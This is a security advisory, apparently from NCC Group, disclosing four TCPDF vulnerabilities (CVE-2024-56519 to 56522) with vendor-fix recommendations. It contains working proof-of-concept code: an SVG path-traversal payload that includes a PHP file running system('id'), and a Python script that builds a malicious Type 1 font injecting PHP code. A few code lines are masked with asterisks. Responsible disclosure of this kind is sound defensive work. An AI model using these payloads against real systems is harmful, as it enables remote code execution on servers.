NCC Group has identified multiple vulnerabilities in TCPDF, which is a popular library used for PDF generation. These Issues were addressed in version 6.8.0 of the library.
- Local File Inclusion via SVG Parsing (CVE-2024-56519)
- PHP Code Injection via Malicious Font File (CVE-2024-56520)
- Improper Certificate Validation (CVE-2024-56521)
- Type Juggling (CVE-2024-56522)
1. Local File Inclusion via SVG Parsing (CVE-2024-56519)
Summary
A Local File Inclusion (LFI) vulnerability exists within TCPDF that allows an attacker to cause the application to include and execute a PHP file from the filesystem when parsing untrusted SVG content.
Impact
Exploitation allows an attacker to cause the application to include and execute a PHP file from the filesystem when parsing untrusted SVG content.
Details
To demonstrate the vulnerability. Create the following PHP file that will be included (/tmp/file.php).
<?php
system('id');
exit(0);
?>
Next create the following PHP file that uses TCPDF to convert SVG content to a PDF. Note the use of the font-family attribute set to ../../../../../../../../../../../tmp/fileand the\font attributes set to empty.
<?php
require_once('tcpdf_include.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->AddPage();
$svgString = "<svg width=\"200\" height=\"200\">";
$svgString .= "<text x=\"20\" y=\"20\" font=\"empty\" font-family=\"../../../../../../../../../../../tmp/file\">test</text>";
$svgString .= "</svg>";
$pdf->ImageSVG('@' . $svgString, $x=15, $y=30, $w='', $h='', $link='http://www.tcpdf.org', $align='', $palign='', $border=1, $fitonpage=false);
?>
Running the previous PHP program will cause the application to include ../../../../../../../../../../../tmp/file.php as a PHP file,
which triggers execution of the PHP code in that file.
$ php poc_html_font.php
uid=1000(nb) gid=1000(nb) groups=1000(nb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Note that this vulnerability can also be triggered when the library parses an img element that references a malicious SVG hosted on a third-party server.
From a code perspective, the setSVGStyles function from /tcpdf.php parses SVG style attributes. When the font-family CSS property is extracted from the font attribute, then the application performs input validation via the getFontFamilyName function that strips all symbols, besides the underscore and comma characters, from the font family name. Alternatively, when the font family name is extracted from the font-family attribute then no input validation occurs as shown in the following code.The font family is later passed to the setFont function.
$regs = array();
if (!empty($svgstyle['font'])) {
if (preg_match('/font-family[\s]*:[\s]*([^\;\"]*)/si', $svgstyle['font'], $regs)) {
$font_****** = $this->getFontFamilyName($regs[1]);
} else {
$font_family = $svgstyle['font-family'];
}
...
$this->setFont($font_family, $font_style, $font_size);
The setFont function passes the font family to the AddFont function.
$fontdata = $this->AddFont($family, $style, $fontfile, $subset);
The AddFont builds a filename based on the font family name and style name. The font filename is later included as PHP code via the include function.
// ****** and include font file
if (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {
// build a standard filenames for specified font
$tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
if (TCPDF_STATIC::empty_string($fontfile)) {
$missing_style = true;
// try to remove the style part
$tmp_fontfile = str_replace(' ', '', $family).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
}
}
// include font file
if (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) {
$type=null;
$name=null;
$desc=null;
$up=-null;
$ut=null;
$cw=null;
$cbbox=null;
$dw=null;
$enc=null;
$cidinfo=null;
$file=null;
$ctg=null;
$diff=null;
$originalsize=null;
$size1=null;
$size2=null;
include($fontfile);
Recommendation
- The library should utilize consistent input validation for the font family name.
- Downstream users of the library should upgrade to 6.8.0.
2. PHP code Injection via Malicious Font File (CVE-2024-56520)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56520 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56520
Risk: Medium
Summary
TCPDF supports converting and adding TrueType or Type1 fonts via the addTTFfont function that can later be used for PDF generation. If an attacker can control the font file that an application converts then an attacker can inject arbitrary PHP code into the generated font metadata PHP file, which will execute when the setFont function is executed.
Impact
Exploitation allows an attacker to execute arbitrary code assuming the application adds an untrusted font file.
Details
Exploitation the following code from the /include/tcpdf_fonts.php file. TCPDF does not perform input validation on the FontBBox attribute taken from the Type 1 font file, which is used to build the font metadata PHP file ($pfile).
preg_match('#/FontBBox[\s]*{([^}]*)#', $font, $matches);
$fmetric['bbox'] = trim($matches[1]);
...
$pfile .= '\'FontBBox\'=>\'['.$fmetric['bbox'].']\',';
...
$fp = TCPDF_STATIC::fopenLocal($outpath.$font_name.'.php', 'w');
fwrite($fp, $pfile);
To demonstrate this issue, we can acquire an existing Type 1 font file.
curl https://raw.githubusercontent.com/tecnickcom/tc-font-pdfa/refs/heads/main/pfb/PDFACourier.pfb -o original.pfb
And then manipulate the FontBBox attribute to include PHP code using the following Python code. The Python code will alter the FontBBox attribute and update the segment length value in the font file.
from struct import *
php_code_inject = b"1 2 3 4'.system('id').'"
font_filename = "original.pfb"
with open(font_filename, "rb") ** content_file:
content = content_file.read()
segment_one = unpack("<ccI", content[0:6])
segment_one_**** = segment_one[2]
print("Original Segment 1 Size: " + str(segment_one_size))
font_bbox_start_index = content.index(b"/FontBBox {")
content2 = content[font_bbox_start_index:]
font_bbox_prefix = content[:font_bbox_start_index+11]
end_index = content2.index(b"}")
font_bbox_value = content2[11:end_index]
font_bbox_postfix = content2[end_index:]
length_difference = len(php_code_inject) - len(font_bbox_value)
new_segment_one_size = segment_one_size + length_difference
print("New Segement 1 Size: " + str(new_segment_one_size))
modified_font_file = content[0:2] + pack("<I", new_segment_one_size) + font_bbox_prefix[6:] + php_code_inject + font_bbox_postfix
print("Writing new font file.")
with open("modified.pfb", "wb") as binary_file:
binary_file.write(modified_font_file)
The following PHP code demonstrates adding and converting the modified font file.
<?php
require_once('tcpdf_include.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$fontname = TCPDF_FONTS::addTTFfont('modified.pfb');
$pdf->setFont($fontname, '', 14, '', true);
?>
Running the previous PHP program will cause the following font metadata PHP file to be generated and the injected PHP code will execute.
$ php poc_font.php
uid=1000(nb) gid=1000(nb) groups=1000(nb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
Note the following generated font metadata PHP file in TCPDF's font directory contains injected PHP code.
<?php
// TCPDF FONT FILE DESCRIPTION
$type='Type1';
$name='PDFACourier';
$up=-100;
$ut=50;
$dw=600;
$diff='';
$enc='cp1252';
$file='modified.z';
$size1=5076;
$size2=35257;
$desc=array('Flags'=>33,'FontBBox'=>'[1 2 3 4'.system('id').']','ItalicAngle'=>0,'Ascent'=>4,'Descent'=>2,'Leading'=>0,'CapHeight'=>563,'XHeight'=>417,'StemV'=>70,'StemH'=>30,'AvgWidth'=>600,'MaxWidth'=>600,'MissingWidth'=>600);
$cw=array(0=>600,1=>600,2=>600,3=>600,4=>600,5=>600,6=>600,7=>600,8=>600,9=>600,10=>600,11=>600,12=>600,13=>600,14=>600,15=>600,16=>600,17=>600,18=>600,19=>600,20=>600,21=>600,22=>600,23=>600,24=>600,25=>600,26=>600,27=>600,28=>600,29=>600,30=>600,31=>600,32=>600,33=>600,34=>600,35=>600,36=>600,37=>600,38=>600,39=>600,40=>600,41=>600,42=>600,43=>600,44=>600,45=>600,46=>600,47=>600,48=>600,49=>600,50=>600,51=>600,52=>600,53=>600,54=>600,55=>600,56=>600,57=>600,58=>600,59=>600,60=>600,61=>600,62=>600,63=>600,64=>600,65=>600,66=>600,67=>600,68=>600,69=>600,70=>600,71=>600,72=>600,73=>600,74=>600,75=>600,76=>600,77=>600,78=>600,79=>600,80=>600,81=>600,82=>600,83=>600,84=>600,85=>600,86=>600,87=>600,88=>600,89=>600,90=>600,91=>600,92=>600,93=>600,94=>600,95=>600,96=>600,97=>600,98=>600,99=>600,100=>600,101=>600,102=>600,103=>600,104=>600,105=>600,106=>600,107=>600,108=>600,109=>600,110=>600,111=>600,112=>600,113=>600,114=>600,115=>600,116=>600,117=>600,118=>600,119=>600,120=>600,121=>600,122=>600,123=>600,124=>600,125=>600,126=>600,127=>600,128=>600,129=>600,130=>600,131=>600,132=>600,133=>600,134=>600,135=>600,136=>600,137=>600,138=>600,139=>600,140=>600,141=>600,142=>600,143=>600,144=>600,145=>600,146=>600,147=>600,148=>600,149=>600,150=>600,151=>600,152=>600,153=>600,154=>600,155=>600,156=>600,157=>600,158=>600,159=>600,160=>600,161=>600,162=>600,163=>600,164=>600,165=>600,166=>600,167=>600,168=>600,169=>600,170=>600,171=>600,172=>600,173=>600,174=>600,175=>600,176=>600,177=>600,178=>600,179=>600,180=>600,181=>600,182=>600,183=>600,184=>600,185=>600,186=>600,187=>600,188=>600,189=>600,190=>600,191=>600,192=>600,193=>600,194=>600,195=>600,196=>600,197=>600,198=>600,199=>600,200=>600,201=>600,202=>600,203=>600,204=>600,205=>600,206=>600,207=>600,208=>600,209=>600,210=>600,211=>600,212=>600,213=>600,214=>600,215=>600,216=>600,217=>600,218=>600,219=>600,220=>600,221=>600,222=>600,223=>600,224=>600,225=>600,226=>600,227=>600,228=>600,229=>600,230=>600,231=>600,232=>600,233=>600,234=>600,235=>600,236=>600,237=>600,238=>600,239=>600,240=>600,241=>600,242=>600,243=>600,244=>600,245=>600,246=>600,247=>600,248=>600,249=>600,250=>600,251=>600,252=>600,253=>600,254=>600,255=>600);
// --- EOF ---
Recommendation
- The library should validate that the FontBBox attribute is an array of integers prior to inclusion into the PHP file.
- Downstream users of the library should upgrade to 6.8.0.
3. Improper Certificate Validation (CVE-2024-56521)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56521 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56521
Risk: Medium
Summary
In a non-standard configuration of PHP(allow_url_fopen disabled), TCPDF uses the curl library as a backup method to fetch remote files, such as image files, that are referenced in the HTML content that will be converted into a PDF file. Under these conditions, TCPDF disables peer certificate verification and host verification, which means that the content loaded is susceptible to man-in-the-middle (MITM) attacks.
Impact
Exploitation allows an attacker to perform man-in-the-middle (MITM) attacks against the application.
Details
From a code perspective, the fileGetContents and url_exists functions within /include/tcpdf_static.php disables the CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST options.
public static function fileGetContents($file) {
...
if (!ini_get('allow_url_fopen')
&& function_exists('curl_init')
&& preg_match('%^(https?|ftp)://%', $path)
) {
// try to get remote file data using cURL
$crs = curl_init();
curl_setopt($crs, CURLOPT_URL, $path);
curl_setopt($crs, CURLOPT_FAILONERROR, true);
curl_setopt($crs, CURLOPT_RETURNTRANSFER, true);
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($crs, CURLOPT_TIMEOUT, 30);
curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
curl_setopt($crs, CURLOPT_MAXREDIRS, 5);
if (defined('CURLOPT_PROTOCOLS')) {
curl_setopt($crs, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS | CURLPROTO_HTTP | CURLPROTO_FTP | CURLPROTO_FTPS);
}
$ret = curl_exec($crs);
...
public static function url_exists($url) {
$crs = curl_init();
// encode quary params in URL to get right response form the server
$url = self::encodeUrlQuery($url);
curl_setopt($crs, CURLOPT_URL, $url);
curl_setopt($crs, CURLOPT_NOBODY, true);
curl_setopt($crs, CURLOPT_FAILONERROR, true);
if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($crs, CURLOPT_TIMEOUT, 30);
curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
curl_setopt($crs, CURLOPT_MAXREDIRS, 5);
if (defined('CURLOPT_PROTOCOLS')) {
curl_setopt($crs, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS | CURLPROTO_HTTP | CURLPROTO_*** | CURLPROTO_FTPS);
}
curl_exec($crs);
...
Recommendation
- The library should not disable peer certificate verification and hos verification.
-
Downstream users of the library should upgrade to 6.8.0.
4. Type Juggling (CVE-2024-56522)
Vendor: tecnickcom
Vendor URL: https://github.com/tecnickcom/TCPDF
Versions affected: Versions before 6.8.0
Systems Affected: All
Author: Neil Bergman
Advisory URL / CVE Identifier: CVE-2024-56522 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56522
Risk: Low
Summary
A type juggling vulnerability exists in TCPDF due to the use of a loose comparison operator when the application verifies a HMAC used to ensure the integrity of the values associated with the custom TCPDF tag during PDF generation. The TCPDFtag, which is disabled in the library by default, allows HTML code to invoke allowlisted functions from theTCPDFclass with arbitrary arguments.
Impact
Exploitation allows an attacker to invoke unexpected functions from theTCPDFclass.
Details
The openHTMLTagHandlerfunction from/tcpdf.php will call aTCPDF function based on attribute values associated with a TCPDF tag only if certain conditions are met.
case 'tcpdf': {
if (defined('K_TCPDF_CALLS_IN_HTML') AND (K_TCPDF_CALLS_IN_HTML === true)) {
// Special tag used to call TCPDF methods
// This tag is disabled by default by the K_TCPDF_CALLS_IN_HTML constant on TCPDF configuration file.
// Please use this feature only if you are in control of the HTML content and you are sure that it does not contain any harmful code.
if (!empty($tag['attribute']['data'])) {
$tcpdf_tag_data = $this->unserializeTCPDFtag$tag['attribute']['data']);
if ($this->allowedTCPDFtag($tcpdf_tag_data['m'])) {
call_user_func_array(array($this, $tcpdf_tag_data['m']), $tcpdf_tag_data['p']);
The unserializeTCPDFtag function extracts the JSON **** from the TCPDF tag and validates that the provided HMAC within the tag is valid, which prevents untrusted HTML code from invoking an allowlisted function, but the application uses a loose comparison operator (!=) for the validation, which can lead to incorrect results. hash_equals could be utilized instead for strict constant-time string comparison.
protected function hashTCPDFtag($data) {
return hash_hmac('sha256', $data, $this->hash_key, false);
}
...
protected function unserializeTCPDFtag($data) {
$hpos = strpos($data, '+');
$hlen = intval(substr($data, 0, $hpos));
$hash = substr($data, $hpos + 1, $hlen);
$encoded = substr($data, $hpos + 2 + $hlen);
if ($hash != $this->hashTCPDFtag($encoded)) {
$this->Error('Invalid parameters');
}
return json_decode(urldecode($encoded), true);
}
Recommendation
- The library should utilize strict constant-time string comparison for verification of HMACs.
- Downstream users of the library should upgrade to 6.8.0.
Vendor Communication
12/19/24 - NCC Group discloses issues to vendor via email.
12/23/24 - Vendor releases version 6.8.0 to address issues.
2/25/25 - NCC Group discloses advisory.
About NCC Group
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.
Published DateL 2/25/25
Written by: Neil Bergman